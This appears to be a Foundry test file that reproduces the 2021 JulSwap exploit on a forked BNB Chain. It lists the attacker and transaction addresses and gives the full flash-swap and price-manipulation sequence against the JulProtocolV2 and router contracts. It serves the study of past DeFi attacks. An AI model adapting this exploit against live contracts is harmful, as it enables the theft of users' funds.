src/test/2021-05/JulSwap_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 1.5M
8// Attacker : https://bscscan.com/address/0xc3bc29941677db01b9645f7b8b72d27e3ba75372
9// Attack Contract : https://bscscan.com/address/0x7c591aab9429af81287951872595a17d5837ce03
10// Vulnerable Contract : https://bscscan.com/address/0x32dffc3fe8e3ef3571bf8a72c0d0015c5373f41d
11// Attack Tx : https://bscscan.com/tx/0x1751268e620767ff117c5c280e9214389b7c1961c42e77fc704fd88e22f4f77a
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x32dffc3fe8e3ef3571bf8a72c0d0015c5373f41d#code
15 
16// @Analysis
17// Post-mortem :
18// Twitter Guy :
19// Hacking God :
20pragma solidity ^0.8.0;
21 
22interface IBNBRouter {
23    function swapExactTokensForBNB(
24        uint256 amountIn,
25        uint256 amountOutMin,
26        address[] calldata path,
27        address to,
28        uint256 deadline
29    ) external returns (uint256[] memory amounts);
30    function swapBNBForExactTokens(
31        uint256 amountOut,
32        address[] calldata path,
33        address to,
34        uint256 deadline
35    ) external payable returns (uint256[] memory amounts);
36}
37 
38interface IJulProtocolV2 {
39    function addBNB() external payable;
40}
41 
42contract JulSwap is BaseTestWithBalanceLog {
43    uint256 blocknumToForkFrom = 7_785_586;
44 
45    address internal BSCswapPair = 0x0242c5C11E3eaeb53298b45C7395DbaDc8a120E7;
46    address internal JULb = 0x32dFFc3fE8E3EF3571bF8a72c0d0015C5373f41D;
47    address internal wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
48    address internal Router = 0xbd67d157502A23309Db761c41965600c2Ec788b2;
49    address internal JulProtocolV2 = 0x41a2F9AB325577f92e8653853c12823b35fb35c4;
50    address internal LP = 0xCcFE1A5b6e4aD16A4e41A9142673dEc829f39402;
51 
52    function setUp() public {
53        vm.createSelectFork("bsc", blocknumToForkFrom);
54        deal(wBNB, address(this), 1000 ether);
55        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
56        fundingToken = address(0);
57    }
58 
59    function testExploit() public balanceLog {
60        //implement exploit code here
61        uint256 amount0Out = 70_000_000_000_000_000_000_000;
62        uint256 amount1Out = 0;
63        IUniswapV2Pair(BSCswapPair).swap(amount0Out, amount1Out, address(this), "1");
64    }
65 
66    function BSCswapCall(address, uint256 amount0, uint256, bytes memory) external {
67        IERC20(JULb).approve(Router, type(uint256).max);
68 
69        address[] memory path0 = new address[](2);
70        path0[0] = JULb;
71        path0[1] = wBNB;
72        IBNBRouter(Router).swapExactTokensForBNB(amount0, 1, path0, address(this), 1_622_156_211);
73 
74        IJulProtocolV2(JulProtocolV2).addBNB{value: 515 ether}();
75 
76        uint256 amountOut = 70_310_631_895_687_061_183_551;
77        address[] memory path1 = new address[](2);
78        path1[0] = wBNB;
79        path1[1] = JULb;
80        IBNBRouter(Router).swapBNBForExactTokens{value: 885.146882180525770269 ether}(
81            amountOut, path1, address(this), 1_622_156_211
82        );
83        IERC20(JULb).transfer(BSCswapPair, 70_210_631_895_687_061_183_551);
84    }
85 
86    receive() external payable {}
87}